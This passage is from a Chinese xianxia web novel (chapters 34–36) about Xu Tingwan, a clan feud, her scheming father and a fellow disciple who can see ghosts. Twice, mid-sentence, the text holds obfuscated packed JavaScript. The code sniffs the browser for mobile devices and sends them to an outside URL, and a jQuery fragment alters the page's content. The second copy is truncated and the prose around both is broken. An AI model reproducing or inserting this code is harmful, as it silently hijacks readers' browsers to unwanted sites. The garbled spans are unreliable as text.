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柳清云面露疑惑,开口问道:“为何?大师姐,你之前不是说兰家那事……似乎并非吴家所为吗?”说到这里,他忽然意识到梅遇卿在场,于是话锋一转,换了种说法。 江月平见状,连忙抢先解释:“西部地区的三家势力原本均衡,王家位于左侧,梅家居中,兰家则在右侧。一旦他们打起来,梅家若是介入,只会无辜地成为战场。” 徐听晚赞同地点了点头,心中暗自思量,这其中的缘由远不止于此。她未曾料到,自己的父亲竟比她想象中的更有野心。 两家一旦开战,五行道宗自然会站在兰家一边,但究竟是真心相助还是虚与委蛇,就不得而知了。 王家定会寻求梅家的帮助,毕竟两家世代交好,梅家若不帮忙,显得无情无义;但若出手相助,肯定吃亏。更何况,梅家目前大半的丹药生意都掌握在王家手中,一旦拒绝相助,这笔生意也将随之断绝。 西部地区三家纷争不断,其他宗门因距离遥远,大多不会过多干涉,最多只是派人前来询问缘由,稍作了解与登记。而五行道宗地处中心地带,与兰家交情深厚,自然有理由插手此事。如此一来,整个局面便完全掌握在五行道宗手中,更确切地说,是掌握在她父亲的手中。 梅遇卿紧锁眉头,沉声道:“我与父亲商议良久,最终决定不予相助。然而,若不伸出援手,梅家的生意将遭受重创,损失过半,如此沉重的代价,梅家无力承担,那些依赖种植灵草为生的梅家城子民更是无法承受。” 徐听晚默默取出书卷,沉默不语。 “徐道友,你可有良策?”梅遇卿问道。 “你我既然已是合作伙伴,我自然会竭力相助。”徐听晚淡淡回应。 梅遇卿闻言微微点头,心中却愈发烦躁,索性仰头将杯中浅浅的茶水一饮而尽。 江月平注视着徐听晚紧蹙的眉头,心中暗自叹息:此番局势,看似已成无解之局,实在难以寻得破解之法。 34.秘密 书卷中的信息缓缓显露,徐听晚的手不由自主地微微颤抖。 她疑惑地瞥了两眼,眉头紧锁,满脸不可思议。 柳清云好奇地询问道:“大师姐,发生什么事了?” 徐听晚欲言又止,心中暗自思量,难怪会如此,难怪会有此般情形。 随后,她拿起书卷,迅速给温苏发送了一条消息。 梅遇卿见状,急切地问道:“徐道友,可有应对之策?” 徐听晚轻轻舒展眉头,嘴角勾起一抹淡笑,说道:“你大可放心,我已向家父问询清楚,五行道宗绝不会真心实意地帮助兰家。至于是否要援手王家,你请梅家主转告王家主,兰家究其根源乃是梅家分支,若与之相争,只怕会惹怒先祖,断了天缘。我们不妨去南城的沧澜符宗申诉,甘愿让出三年内四成的符咒买卖,只为求得一个坐下来平等对话的机会。这四成的损失,你们可主动提出与王家共同承担,也算延续了往日的情谊,对日后生意也有益处。” 梅遇卿闻言,眉头紧锁,疑惑地问道:“沧澜符宗会答应吗?” 徐听晚轻轻摇头,安慰道:“无妨,我已请了一位高人相助,她已接下此事。此事定会成功,你大可放心。即便她无法做到,她会为你们两家弥补所有损失。” 梅遇卿闻言,激动不已,起身拱手道谢。思索片刻后,他取出一枚梅家玉牌,说道:“家父原本是打算让我在你帮我们度过此次难关后再交给你,但我相信你,愿意与你结交。无论此事成功与否,这玉牌我都赠予你。” 徐听晚接过玉牌,微微一笑,说道:“能结交梅道友这样的朋友,实乃幸事。” 梅遇卿点头,说道:“那我现在就去告知家父。” 梅遇卿的眉眼清澈纯净,圆润的眼眸搭配小巧的脸庞,自然而然地散发出一种令人想要亲近的气质。她身着浅紫色衣裳,与头上的银冠相映成趣,在温婉之中又莫名透出一抹清冷。她挺翘的鼻梁上点缀着一颗小巧的痣,薄唇轻抿,仿佛一眼就能看出她是个嘴甜会说话的人,其中又蕴含着几分精明。 徐听晚朝着梅遇卿轻轻摆手告别,目送着她逐渐远去的背影,随后深吸一口气,收起笑容,神色变得严肃:“这下可麻烦了。” 柳清云闻言猛地站起身,急切地问道:“究竟怎么了?”能让大师姐如此紧张的,定非寻常之事。 徐听晚心中也是万分惊讶,竟会有如此变故,但眼下也只能随机应变了。 “我并非母亲亲生,而是父亲与别的女人的孩子,她想要杀我。” 柳清云闻言,瞪大了眼睛,满脸不可思议:“什么?这是谁说的?” 徐听晚低声回答:“是温苏前辈告诉我的。” 江月平紧握双拳,随后又猛地松开,转头小心翼翼地望向徐听晚的眼睛。 徐听晚低头沉思,脑海中闪过种种可能,心中不由自主地泛起一丝焦虑。 江月平轻声说道:“知晓的信息越多,所能把握的机会自然也越多。” 徐听晚接过她的话茬,微微皱眉道:“但这些机会中,不可控的因素实在太多了,让人难以分辨这究竟是机遇还是陷阱。” 说完,她不由自主地握紧了拳头,心中暗自期盼着温乐天和石观明能够平安归来。 一个月的时间悄然流逝,石观明终于传来了归来的讯息。 温苏真出手相助,成功助王家摆平了沧澜符宗这一难关。有了沧澜符宗作为坚实的后盾,兰家自然不敢轻举妄动,两家之间的纷争也因此暂且告一段落。仅凭一个王家阵盘,并不能说明太多问题,毕竟任何人都有可能从王家购得此阵盘。 此事虽算勉强过关,但背后的布局之毒辣,实在令人胆寒。 “徐小友。”门外传来呼唤,徐听晚闻声急忙奔去开门。 她低头拱手,恭敬地道:“梅家主。” 梅家主——梅欢林,他头发已然全白,眉眼间透露出一丝疲倦。梅问君在一旁小心翼翼地搀扶着他,缓缓步入屋内。 “徐小友心思敏锐,前途不可限量。老夫这一双儿女,哥哥憨厚木讷,妹妹则行事雷厉风行,实在令老夫忧心。既然他们有幸与徐小友相识,想必也是我梅家多年行善积德的缘分。这颗天下仅此一颗、可解万毒的极品去毒活血丹,便作为麻烦小友照顾这两个孩子的谢礼了。” 说着,梅欢林将药瓶递至徐听晚手中。她略作思索,望了一眼梅前辈那慈祥而朴实的面容,终是接过了药瓶。 “晚辈不敢当。”徐听晚谦逊地回应。 梅欢林眯眼一笑,道:“这天下即将大乱,我这把老骨头怕是撑不了多久了。” 梅问君闻言蹙眉:“您这样说,若是让妹妹听见,定要闹您了。” 梅欢林摇了摇头:“我与你母亲皆是丹修,自知身体状况。往后,整个梅家便交给你们了。你们那些叔叔伯伯都是通情达理之人,你妹妹那边也处理得差不多了。” “爹!您又在胡说了。”梅遇卿手执书卷,急匆匆赶来,瞪了梅问君一眼,“你怎么把爹扶出来了?” “爹想出来走走,应该无碍……”梅欢林说道。 梅遇卿将书卷塞进储物袋,扶着梅欢林的手道:“跟我回去,这秋日清晨,风凉得很,还是少出门为好。即便是要透气,也最好是午时暖和些再出来。” 梅问君点头:“知道了,我这就送爹回去。” 梅欢林叹了口气:“卿卿,做事莫要急躁。” 梅遇卿皱眉:“您若不出来,我也不会急。” 徐听晚呆立一旁,心中茫然无措。这种感觉对她而言是前所未有的,在那个世界,她从未喊过爸爸妈妈,而在这个世界,她也未曾唤过爹爹娘亲。这个称呼对她来说太过遥远,几乎要从记忆中淡去。 她手中紧握着装有去毒活血丹的药瓶,这瓶药承载着一位父亲对孩子深沉而厚重的爱。 一股莫名的伤感悄然涌上她的心头。 柳清云手持丹药书,静静地站在一旁,不敢轻易言语。江月平微微抬起眼眸,望向徐听晚,两人的目光在空中交汇。察觉到自己的情绪被察觉,徐听晚连忙收回视线。 梅家三人渐行渐远,柳清云轻轻摇头,叹息道:“梅家主的生命已不足半月,同为修行者,丹修往往要付出更多的精力,也因此更为短命。” 为了掩饰内心的波澜,徐听晚勉强挤出一丝笑容,说道:“你的医术真是越来越精湛了,仅仅一眼,便能洞察秋毫。” 柳清云微微扬起下巴,自豪地说道:“我的医术可是得到了梅家少家主的亲自认可。等我成功炼制出极品丹药,并详细记录下灵药汁液和调配方法时,我必将成为名震天下的大医师!” 徐听晚面露疑惑,问道:“难道之前从未有人详细记录过灵药汁液吗?” 柳清云耐心地解释道:“灵药汁液药性猛烈,极难驾驭,对于丹修而言,它是上等的修炼材料,就如同符修中的阵法一般,并非人人都能掌握。因此,丹修对于灵药汁液的记载寥寥无几,因为用药过程难以把控,需要极为详尽且准确的记录。” 徐听晚似懂非懂地点了点头,阵法之术也是极为复杂,其记录过程也颇为繁琐,在符修之中,能精通此道者不过一成。 “对了,月平,若你在阵法方面有何不解之处,尽管来问我。” 江月平以往从未向她询问过修炼相关的事宜。 话一出口,徐听晚仔细思量,心中不禁泛起一丝悔意。毕竟,她们之间始终存在着一道无形的隔阂,即便此刻目标一致,也难以对彼此完全敞开心扉。 修炼如此重要之事,她又怎会轻易向他人透露。 “大师姐,倘若知晓了对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074787|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方的灵根属性,是否就能通过五行卦象布置阵法,从而实施领域压制呢?” 徐听晚微微颔首,解释道:“阵法之术,其一在于控制,其二便是领域压制,至于其三……” 柳清云按捺不住内心的激动,抢着回答道:“我知道!是无声抹杀!” 徐听晚轻笑一声,纠正道:“意思相近,但更准确地说,是暗杀。” “大师姐!我快不行啦!”温乐天浑身血迹斑斑地闯了进来。 “三师兄!你这是怎么了?”柳清云慌忙上前搀扶住他,仔细上下打量道,“看起来没事啊,怎么浑身是血?” 温乐天嘿嘿一笑,偷乐道:“这血根本不是我的,我就是想逗逗你们。” 徐听晚眉头紧锁,一拳轻轻捶在他的肩上,责备道:“别开这种玩笑!” 温乐天揉了揉肩膀,正色道:“不过说真的,我和二师兄确实遇到了一伙想要置我们于死地的人,但我们找到了突破口,拼死逃了出来。” 江月平注意到他后腰处有一块微微隆起,隐隐泛着灵光,她缓缓走近,伸手将其抽出。 “你们能逃出来,是因为有人放水。” 众人眼前出现了一块刻有“死”字的令牌,其上镌刻着一行小字:“落花有情,流水无意。” 徐听晚紧锁眉头,凝视着那行小字,心中隐约有了些猜测,但缺乏实证,便没有说出来。 江月平将令牌递给她,徐听晚微微挑眉,有些惊讶,毕竟以往她找到的线索从未被如此直接地交给她过。 徐听晚心怀忐忑地接过令牌,略显局促地问道:“观明呢?” 温乐天一脸困惑地挠了挠后腰,心中暗自嘀咕这令牌究竟何时被放置于此。 听到大师姐的询问,他连忙答道:“我们飞行归来时,瞧见一群人聚集一处,言说梅家城主街闹鬼,二师兄便前往那里探个究竟了。” 徐听晚微微皱眉,略带嫌弃地说道:“你一路上就这样满身是血地跑回来了?” 温乐天笑着回应:“哎呀,不过是玩闹一下嘛。” “乐天,你可曾听过‘鬼来了’的故事?”徐听晚严肃地盯着他问道。 温乐天不由自主地往后退了几步,好奇地问道:“什么故事?” 柳清云也凑了过来,满脸期待地说:“故事?我也要听。” 徐听晚故意压低声音,神秘兮兮地讲述起来:“从前有个小孩,为了能和娘亲一起睡觉,便谎称自己房间里有鬼。他一次次地这么说,娘亲便不再相信他了。可后来,有一天他的房间里真的出现了鬼,无论他怎么呼喊,娘亲都没有理会他,最终他被恶鬼活生生地吃掉了!” 柳清云吓得缩了缩脖子,疑惑地问道:“恶鬼会吃人?不是说鬼只会用东西砸人吗?” 徐听晚回想了一下,记忆中确实如此,便解释道:“我在宗门藏书阁三楼的一本鬼修书上看到过,用东西砸人的是小鬼,而会吃人的才是恶鬼。” 柳清云闻言,有些惶恐地环顾四周。 温乐天打趣道:“这大白天的,哪里会有鬼?” 柳清云眨了眨眼,仍有些不安地问:“那闹鬼又是怎么回事呢?” 徐听晚轻轻拍了拍他的肩膀,安慰道:“没事的,只要鬼界封印还在一天,恶鬼就无法成形。” “大家在聊什么呢?”石观明迈着从容的步伐走近。 柳清云满心好奇,凑近他跟前问道:“二师兄,你可见到鬼了?” 石观明轻轻摇了摇头,答道:“我还未曾有所行动,便有一位名叫万安的沧澜符宗亲传弟子已将问题解决了。” 柳清云闻言,瞬间激动起来,追问道:“你方才说他叫什么?” “嗯……没错,是叫万安。” “万安!”柳清云重复了一遍,语气中带着几分激动。 35.识鬼者 “你为何如此激动?”徐听晚好奇地问道。 柳清云激动地解释道:“万安是我哥哥,是他的母亲在河边发现了我,将我从水中捞起,并给我取了个小名叫小棉。直到我七岁那年,宗门的医药堂长老叶含山来到这里,发现我有丹修的天赋,才将我带回宗门,并给我改了名字,叫柳清云。” 徐听晚闻言点了点头,说道:“那确实应该好好感谢人家。” 柳清云重重地点了点头,急切地说道:“二师兄,你知道他在哪里吗?带我去见他吧。” “你们要去哪儿?”梅问君的声音从门口传来。 众人纷纷向他看去,徐听晚开口问道:“你可认识沧澜符宗的亲传弟子万安?” 梅问君往旁边一侧身,身后之人露出些许发丝,他每走一步,身后之人便跟着走一步。 “万安是我四师弟,他就在我身后,只是比较腼腆,见到人会有些紧张。”梅问君说道。 “万哥!我是小棉啊!”柳清云激动地跑过去,想要看清梅问君身后的人。 听到声音,万安也探出头来,两人正好撞了个满怀。 “小棉?”男子的声音温和而低沉,带着一丝疲倦。 看见他这副模样,柳清云不禁微微蹙眉,关切地问道:“你怎么了?” 万安身着一袭黑色宗服,这宗服紧紧地包裹着他干瘦的身材。他尖瘦的脸庞上,一双大眼睛微微下垂,薄唇轻抿,脸色苍白得如同路边那盛开的羊脂玉花,显得既脆弱又蕴含着重生的希望。 “我没事。”他轻声回应,随后转向徐听晚,礼貌地说道,“在下万安,请问徐道友找我所为何事?” 徐听晚随意地摆了摆手,笑道:“无事,我只是帮四师弟问一问。况且你我平辈相交,你无需如此客气,直接说‘我’便好。” 万安闻言一愣,神情有些恍惚,歉意地道:“抱歉,最近我状态不太好,耳边总是嘈杂得很。” 柳清云闻言,眼中闪过一丝担忧,关切地问道:“是幻听吗?” 万安轻轻摇了摇头,勉强挤出一丝笑容道:“没事,真的没事。” 说完,他向旁边空处瞥了一眼。这时,梅问君笑着插话道:“既然大家都认识了,那就好办了。他会在隔壁院落住上一段时间,可能你们会经常见面。所以,我特意来跟你们说一声。” 柳清云轻轻揽住万安的脖颈,笑着说道:“让他和我同住如何?他孤零零地住在隔壁,实在显得太过清冷。” 梅问君微笑着揉了揉万安的头顶,轻声问道:“那得看他是否愿意。” 万安微微颔首,答道:“也好,这样便省去了收拾房间的麻烦。” 说着,柳清云便拉着万安向自己的房间走去。 徐听晚微微蹙眉,总感觉万安刚才有些异样。 梅问君转头看向徐听晚,提议道:“徐道友,今晚梅家主城区有秋收庆典,定会十分热闹……”他扫视了一眼周围的人,随即改口,“大家要一同前去观赏吗?” 徐听晚略作思索,答道:“我和月平不太想露面。” 温乐天爽朗地笑道:“那我和二师兄、四师弟去,回来后再讲给大师姐和小师妹听。” 石观明无奈地叹了口气,但目光始终追随着徐听晚,只要有她在,他去哪里都可以。 徐听晚轻笑一声,轻轻拍了拍他的肩膀,说道:“你去吧,他们两个我不太放心。” 石观明耸了耸肩,无奈一笑:“我就知道你会这么说,我自然会听你的。” 闻言,徐听晚指尖微微一颤,似乎已经习惯了石观明在她身边。他是她最信任的人,也是最了解她的人。 他知晓她的一切过往,明白她所经历的风雨。即便她变得恶毒、疯狂,他也始终不离不弃。 夜幕降临之时。 外界的喧嚣声此起彼伏,偌大的院落内,仅余徐听晚与江月平二人,其余人均已外出。 徐听晚倚窗而坐,凝视着皎洁的月色,今晚的庆典据说会持续到深夜,绚烂的烟花在夜空中竞相绽放,她瞪大了双眼,遥望着远方骤然亮起的灯火。 河灯随波逐流,汇聚成一条璀璨的光河,徐听晚伸出手,仿佛要隔空触碰那抹流光。 因顾忌父亲是否派有眼线监视,她不得不依照既定的谎言,留在梅家养伤。 修真界内部纷争不断,外部更有魔教蠢蠢欲动,可谓是举步维艰。 头痛的毛病再度袭来,自得知自己并非母亲亲生之后,她便时常遭受这般的折磨。 轻轻揉按头部,不再胡思乱想,疼痛便会渐渐缓解。 一道熟悉的身影沐浴着月光,其倒影映在墙上。 一双略显冰冷的手轻轻抚上她的额头。 “大师姐,可是头痛又发作了?” 徐听晚惬意地趴在窗边,享受着江月平温柔的按摩,轻声说道:“清云让我少些忧虑。” 江月平缓缓靠近徐听晚,轻声在她耳畔问道:“大师姐,想不想出去透透气?” 徐听晚迟疑了片刻,终究没有言语。 江月平轻笑一声,将一顶精致的帷帽轻轻放置在徐听晚的头顶。 徐听晚猛地转过头来,轻纱之下,只能隐约捕捉到江月平的身影。江月平轻轻撩开帷帽的轻纱,凑近徐听晚,目光温柔地注视着她:“走吧,咱们一起去瞧瞧,不去人多的地方凑热闹,就在附近走走。” 徐听晚嘴角微微上扬,点了点头,心想偶尔放纵一次也无妨。 她拉着江月平的手,悄悄找了一条幽静的小径下了山。 两人戴着帷帽,来到一处荒废的断桥边。见四周无人,她们便坐在断桥上,轻轻掀起一点轻纱,欣赏着各式各样的河灯从上游缓缓漂来。 烟花在空中绽放,伴随着人们的欢呼声,共同庆祝今年的丰收,祈愿来年更加美好。 徐听晚转头看向身旁的江月平,帷帽遮住了她的面容,让人无法窥见她的表情。 徐听晚心中一直有个好奇,想知道江月平开怀大笑时会是怎样的模样。 “早知道就让乐天给我们准备两张人皮面具,然后分开行动了。”徐听晚轻声说道。 一边说着,她一边缓缓靠近江月平,先用帽沿轻轻碰了碰对方的帽沿。江月平没有躲避,只是微微低下了头。徐听晚越发大胆,用帽沿推开轻纱,窥见江月平模糊的表情,随后索性掀开轻纱,与江月平四目相对。 “哈哈哈哈哈!” 这一刻,徐听晚仿佛回到了另一个世界,与最好的姐妹一同逛街时的欢乐时光再次涌上心头。 “月平,你为什么老是不笑,莫非你是个人机?” 江月平轻轻垂下眼帘,望着那个不请自入、俯身探入屋内的人,嘴角微微颤动,努力压抑着笑意,轻声反问:“人机?那是何物?” 徐听晚显然捕捉到了她话语间不经意流露的笑意,愈发肆无忌惮地打趣起来:“江小姐,书卷上说你‘肤如白冰凝芍药,眼似月色映寒潭’,可在我看来,你比那书中所言还要更胜一筹。” 江月平闻言,嘴角勾起一抹温婉的微笑,谦逊道:“书卷上新美人榜的魁首可是咱们的大师姐,论及美貌,我自是望尘莫及。” 徐听晚却摇了摇头,不以为然:“那新美人榜,哪里是单凭美貌上榜的?不过是看谁的追捧者多,谁就排得靠前。若非亲传弟子之名太过响亮,单论美貌许多世家和散修中的绝色佳人都可排在前面。若让我来排,月平你的容貌,当仁不让,应是第一。” 说罢,她调皮地眨了眨眼,话锋一转:“至于美男榜嘛,孟鹤位居榜首,确是实至名归。但若是让我来选择,便不是他了。” 江月平好奇地问道:“哦?谁?” 徐听晚神秘一笑,再次眨了眨眼:“剑竹宗的那位二弟子,叫什么来着……对了,秘境对决时我曾有幸见过一面,他叫傅亦舟。” “为何选他?”江月平初时有些不悦,但转念一想,连大师姐都未曾记住他的名字,便也释然,将这当作一场无关紧要的闲聊。 “因为他美得雌雄莫辨啊,”徐听晚耐心地解释道,“他和乐天都是那种极具冲击力的浓烈长相,但傅亦舟的五官没有乐天那般张扬,反而更显阴柔之美。” 晚风轻拂,两人在这宁静的夜晚里,悠然自得地聊着他人,享受着这份难得的闲适与放松。 江月平微微颔首,缓缓言道:“书卷上的榜单不过是博人一笑罢了,其外表的华丽远不及内在的价值重要。” 徐听晚闻言,亦轻轻点头回应:“确是如此,榜单之重要,并不在于评选谁人最美,而在于谁的人气最为高涨,谁的影响力更为深远。” 二人闲聊半晌,话题又转至算计与道理之上,徐听晚不禁心生厌烦,嘴角勾起一抹轻笑:“各花入各眼,是非曲直,终究只在人心罢了。且看那榜单之上,哪一个不是青春年少,未来充满无限可能。” 言毕,她轻轻挑眉,欲从江月平的帷帽中退出,却忽地被江月平伸手拦下。 “大师姐,等看到暖玉花的那天……你我依旧如此。” 话至半途,她一愣忽地话锋一转,松开手,紧紧攥住拳头。 在她闯入帷帽的那一刻,世间一切是非,皆已不再重要。 “大师姐,我对阵法一术的兴趣日渐淡薄,它于我而言,似乎并不重要。相比之下,我更加渴望在剑法与符法上有所精进。”江月平的声音带着一丝嘶哑,语气就如同平日里与挚友间的闲谈一般自然。 徐听晚闻言,温柔地递上一壶清水,眼中满是关怀。 江月平仰头畅饮,一股融合了青灵果与葡萄的甘甜瞬间充盈口腔,虽甜中带酸,清新爽口,但对她而言,这份味道却略显陌生,不太符合她的口味。 “忘了告诉你,近日我味觉有些迟钝,这是柳清云特意为我调制的糖水。你觉得如何?是不是喝完提神醒脑?”徐听晚边说边接过水壶,自然而然地就着江月平喝过的地方轻啜一口,赞道:“真不错。” 江月平躲在帷帽的阴影下,嘴角勾起一抹浅笑,月光下,她模糊的轮廓更添了几分神秘。尽管看不见对方的表情,但两人竟然十分默契,眉眼和嘴角都洋溢着愉悦。 随后,江月平从袖中取出两张符纸,其中一张递给了徐听晚:“大师姐,想不想一起放河灯?” “你会折纸灯?”徐听晚好奇地问。 “碰巧会一种简单的折法。”江月平答道。 徐听晚接过符纸,挥毫写下“愿事事顺心”四个大字,略一思索,又在旁边添上一行小字:“步步高升”。写完后,她递给江月平,想瞧瞧对方写了什么,却被江月平调皮地挡住了。 “不看也罢。”徐听晚轻哼一声道,心中暗自揣测,祝福语大抵都是相似的。 只见江月平灵巧的手指翻飞,两张符纸瞬间化作两朵小巧的莲花,虽不精致绝伦,但在众多河灯中却显得格外独特。纸荷花随着水流缓缓飘远,最终被水浸湿,缓缓展开。 江月平写的那张也随之显露,“愿事有所终,人皆所安。”最终,两朵纸荷花沉入河底,两张符纸紧紧相粘,糊乱于水,一同消逝在潺潺流水中。 "哇!看那龙灯游行,简直栩栩如生,跟真的龙一样!"徐听晚轻轻掀开轻纱,眼中倒映出绚烂多彩的光芒。定睛细瞧,一条小白龙仿佛在一旁欢快地绕圈起舞。 与此同时,石观明这边,他一手紧握着柳清云的手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳清云委屈地说:“落樱与青灵果汁液相似,是止痛丹的原料之一。长时间服用落樱会产生依赖性。你明明加了白灵果汁液又加青灵果汁液,就是想盖过落樱的味道。” 大娘见状就要抓住柳清云的衣袖动手打他。柳清云害怕地往后躲,他是修士,不能随便对普通人动手。避无可避时,他伸手去挡,石观明猛地出现,挡在他身前,一把抓住大娘的手臂:“好好看看我们腰间的令牌,给我好好说话。” 温乐天将梅问君拉过来:“你城中子民在梅花糕里加落樱,还要打我师弟。”他强行将柳清云的头掰到自己怀里,“你看,都把我师弟吓成什么样子了。” 柳清云无法抵抗温乐天,只能弯着腰被他强行按在怀里。 梅问君将大娘的摊位封锁,叫来附近值班的守卫:“你们去找一下万安。” 石观明回应:“我们去找。”说完,他拉着柳清云和温乐天离开了。 走远后,他压低声音,语气沉稳地说:“今后这类事情尽量少插手,顶多是罚那个大娘关押数日并没收些灵石。可要是她因此心生怨恨,被这些小人伺机报复,那可是极为凶险的。” 柳清云轻轻整理着被温乐天刚才揉乱的发丝,反驳道:“二师兄,你和大师姐就是太过谨慎了。我和小师妹之前外出时,也常碰到这种不良商贩,我们都是直接举报。我们不说,他们不说,难道就任凭这些人继续为非作歹吗?” 温乐天被夹在中间,无奈地叹了口气:“你们一个个都言之有理,但现在最关键的不是应该先去找人吗?” 柳清云仍旧用不认同的眼神看着石观明,石观明只能再次叹气妥协:“好吧好吧,算我错了,咱们还是先去找人吧。” 与此同时,徐听晚所在之处,忽有人声传来。 她连忙拉着江月平,迅速贴上敛息符,躲至一旁。 紧接着,万安的声音逐渐清晰。 一个轻柔的女声带着撒娇的意味响起:“你就帮帮我嘛~” 万安的声音平静而坚定:“我不能帮你,若是我暴露了,会被人误认为是鬼修。” 女声惊讶地反问:“你不是鬼修?” 万安无奈地叹息:“不是。” 女声疑惑不解:“那你为何能看见我?” 万安再次叹了口气,语气中带着几分无奈:“命不好。” 女声轻笑一声:“你还真有趣。” 万安面无表情地回答:“我更希望自己能有个好命。” 在徐听晚与江月平耳中,只能听见万安的自言自语,根本没有那女声。 “我都跟你到这里了,你就帮帮我吧,算我求你了,下辈子我给你当牛做马,好不好!”女声带着恳求的语气说道。 万安叹了口气,妥协道:“只要不暴露我能听见你说话,我可以帮你。” 女声显得有些纠结:“那你能想办法把上北城赵医馆上下两百口人被徐君彦灭口的消息,告诉姜满掌门吗?” 万安闻言,震惊不已:“什么?” 此时,徐听晚拉着江月平从隐蔽处走出。万安看到两个头戴帷帽的身影,吓了一跳,不由自主地往后退了几步,厉声道:“你们是谁!” 徐听晚摘下帷帽,面带微笑:“万道友在和谁说话呢?” 女声尖叫一声:“糟了,这是徐君彦那小人的女儿,快跑!” 万安闻言,转身便逃。 徐听晚一脸疑惑地看着他的背影,问江月平:“月平,我长得很吓人吗?” 江月平摘下帷帽,问道:“我们要追吗?” 徐听晚重新戴上帷帽,神色坚定:“追,万一出事就麻烦了。”说完,她起身追去。 江月平点了点头,重新戴上帷帽,紧随其后。 36.头痛 徐听晚越往前奔跑,心中的不安便愈发强烈。万安的身影逐渐变得模糊不清,紧接着,眼前一黑,她只感觉全身的血液仿佛瞬间凝结。 “大师姐!”江月平的声音在她耳畔焦急地响起,随后,她感到一股力量推来,随即彻底陷入了昏迷。 当她再次睁开眼睛时,已经发现自己回到了熟悉的院落之中。 柳清云正守在她的床边,她额头的疼痛让她忍不住伸手去触摸。 “大师姐,你怎么一个人倒在雨樟林里了?到底发生了什么事?”柳清云轻声问道,同时,她将调好的灵药汁液细心地敷在她额头的伤口上。 徐听晚努力回想昨晚的遭遇,断断续续地说道:“突然起了大雾,然后……我就什么都看不见了。” 柳清云轻轻摸了摸她的额头,关切地问道:“大师姐,你是不是头还疼?” 徐听晚微微点了点头。 “别担心,头上的伤口已经没事了。”柳清云安慰道,“你这是老毛病又犯了。” 说着,他拿出一瓶丹药,继续说道:“这是上品止痛丹,虽然副作用相对较小,但依旧要适量服用,以免上瘾。” 徐听晚接过丹药,疲倦地点了点头。 石观明与温乐天步入屋内,二人迅速围至徐听晚的床边,脸上皆浮现出紧锁的眉头。 石观明心中暗自懊悔,倘若当时自己坚持留在大师姐身旁,或许就不会这样。 温乐天无奈地摇了摇头,叹道:“还是无法联系上小师妹。” 徐听晚闻言,猛地坐起身来,眼中闪过一丝光芒:“对了,月平!她与我一同外出,你们可曾见到她?” 柳清云小心翼翼地守护在徐听晚身旁,协助她穿好外衣。徐听晚脚步略显踉跄,却仍坚定地向外走去。 柳清云轻轻摇头,回答道:“万哥只说你在此处,我们赶到时并未见到小师妹。” 徐听晚眉头紧锁,追问道:“那万安道友呢?” 温乐天耸耸肩,答道:“他昨晚一回来,便带着行李匆匆返回宗门了。” 徐听晚闻言,脸色瞬间变得苍白,身形不由自主地往后退了几步,喃喃自语:“他能看见鬼……” 石观明眉头紧皱,猜测道:“难道他是鬼修?” 柳清云连忙摆手否认:“不可能,万哥绝不可能是鬼修。” 徐听晚轻轻摇头,强作镇定:“别急,他自称并非鬼修,此事不可妄传。你们继续寻找月平,我则前往万安道友的宗门,向他询问一二。” 石观明欲上前阻拦:“我陪你一同前往。” 徐听晚却坚决拒绝:“不必,当务之急是找到月平。” 说罢,徐听晚戴上帷帽,快步走出房间,发簪上的黄玉散发出淡淡的细光。 “大师姐,是否需要人皮面具?”柳清云关切地问道。 徐听晚微微摇头,答道:“不必,此番出行,正合时宜。” 当时,万安看见她时,那张写满惊恐的脸庞,她心中顿时涌起一种直觉——他绝对是知晓了某些事情。 徐听晚脚步踉跄,身形消瘦地向外走去,身上的浅黄色衣裳在阳光下显得格外浅淡。 刚迈出梅家城门,几道人影便从她身旁掠过。 “好久不见。”一个熟悉的声音传来,她的身体不由自主地颤抖起来,腹部也因紧张而隐隐作痛。 徐听晚迅速摘下帷帽,拱手道:“父亲。” 此刻,她的头上缠着布条,脸色苍白如纸。虽然灵药汁液已让她的伤口愈合,但头部仍隐隐作痛,柳清云又为她敷上了止痛的汁液。 徐君彦走到她身旁,一脸心疼:“女儿,你这次伤得不轻啊。” 徐听晚面色平静,带着一丝傲气:“我本来是想让江月平顺理成章地死在那里的,没想到那可恶的魔修偏偏针对我。” 徐君彦轻轻抚摸着她的头,柔声道:“别着急,我的女儿,机会还有很多。你母亲的事你应该已经知道了吧?她回林家了,我打算除掉她。我相信我的女儿不会背叛我,毕竟我们是一类人。你对江月平所做的一切,我都清楚。” 徐听晚曾想过父亲会与母亲分开,却未曾料到父亲竟要直接杀害母亲。也对,母亲知晓他那么多秘密,分开后他又怎会让她继续活着。 “何人在此!”徐君彦猛然间挥出一道凌厉的剑气,直指一旁的草丛。 徐听晚被这突如其来的剑气震得踉跄几步,心中惊骇不已,这道剑气的威力,绝非化神期修为所能及。 “我前去查看。”她带着一丝不安,缓缓走向草丛。只见柳清云双目圆睁,满脸愤怒地盯着她,背后一道深可见骨的伤口正汩汩地流着鲜血。 徐听晚面色凝重,迅速从怀中掏出一张极品敛息符,轻轻覆盖在柳清云身上即将失效的上品敛息符之上。 “没什么,只是一只受惊的钻地鼠,已经逃远了。”徐听晚言罢,嘴角勾起一抹轻笑,摊了摊手,转身看向徐君彦。 两人的目光在空中交汇,徐君彦依旧保持着那温柔浅笑的模样,让人无法窥探他内心的真实想法。 他缓缓向前迈出两步,徐听晚的心瞬间提到了嗓子眼。然而,他最终停在了那里,没有再继续前行。徐听晚忍不住轻咳两声,抬手捂住额头,微微皱眉。 还好,小时候母亲赠予她的生辰礼是真的。这张极品敛息符,即便是化神期的符修也难以轻易画出,其价值连城。 即便是天灵根资质的江月平,想要画出这样的极品符咒,也需要动用本源之力,耗费全身灵力。 